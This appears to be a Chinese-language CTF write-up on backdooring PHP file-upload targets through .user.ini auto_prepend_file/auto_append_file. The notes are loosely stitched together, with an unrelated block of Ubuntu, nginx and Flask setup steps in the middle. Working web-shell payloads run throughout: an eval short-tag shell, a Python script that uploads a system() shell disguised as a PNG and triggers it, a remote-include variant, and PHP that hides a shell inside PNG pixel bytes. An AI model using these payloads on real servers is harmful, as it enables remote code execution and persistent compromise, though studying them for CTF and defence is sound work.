在每次运行php文件时,会自动去读取这个配置文件,来设置PHP的相关规则
PHP_INI_*模式的定义
模式 | 含义 |
---|---|
PHP_INI_USER | 可在用户脚本(例如ini_set())或Windows注册表(自PHP 5.3起)以及.user.ini中设定 |
PHP_INI_PERDIR | 可在php.ini, .htaccess或httpd.conf中设定 |
PHP_INI_SYSTEM | 可在php.ini或httpd.conf中设定 |
PHP_INI_ALL | 可在任何地方设定 |
实际上,除了PHP_INI_SYSTEM以外的模式,都能通过.user.ini来设置。而且和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。即修改了.user.ini后不需要重启服务器中间件,只要等待user_ini.cacher_ttl所设置的时间(默认为300秒),即可被重新加载。
我们能够自定义的设置是模式PHP_INI_PERDIR和PHP_INI_USER的设置
其中有两个配置可以制造后门
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含,直接将下面语句写在user.ini中即可
auto_prepend_file = test.jpg
或者
auto_append_file = test.jpg
直接访问index.php
注意:访问上传目录的index.php
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后才可以使用PHP的短标签:
同时,只有开启这个才可以使用<?=代替<? echo
使用数组相应函数弹出数组内容
<?= eval(array_pop($_POST))?>
import requests url = "http://7f10bd72-59b8-49c0-9ad7-79b773290359.challenge.ctf.show/upload.php" files = {"file": ("world.png", "<?= system(\"{}\")?>".format(input("Please input command:")), "image/png")} response = requests.post(url, files=files) print(response.text) result = requests.get(url[:-4] + "/index.php") print(result.text)
注意:有的时候需要使用flask框架搭建的网站,而不能使用index.php
sudo apt-get install build-essential sudo apt-get install libncurses5-dev libncursesw5-dev libreadline6-dev sudo apt-get install libdb5.1-dev libgdbm-dev libsqlite3-dev libssl-dev sudo apt-get install libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev
sudo apt-get update sudo apt-get install python3.6
sudo apt-get install nginx # 查看版本 nginx -v
sudo /etc/init.d/nginx start
sudo nginx -s stop
pip install uwsgi
pip install virtualenv
首先cd到你做网站根目录的地址,然后 创建: virtualenv env 激活虚拟环境: source env/bin/activate 安装flask: pip install flask 退出虚拟环境: deactivate
from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "你好呀,胡炎凯!" if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
进入虚拟环境 python main.py就可以了
32位十进制数
在.user.ini中配置auto_prepend_file=http://xxx
或者配置auto_append_file=http://xxx
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y + 1]; $b = $p[$y + 2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'2.png'); /* <?$_GET[0]($_POST[1]);?> */ ?>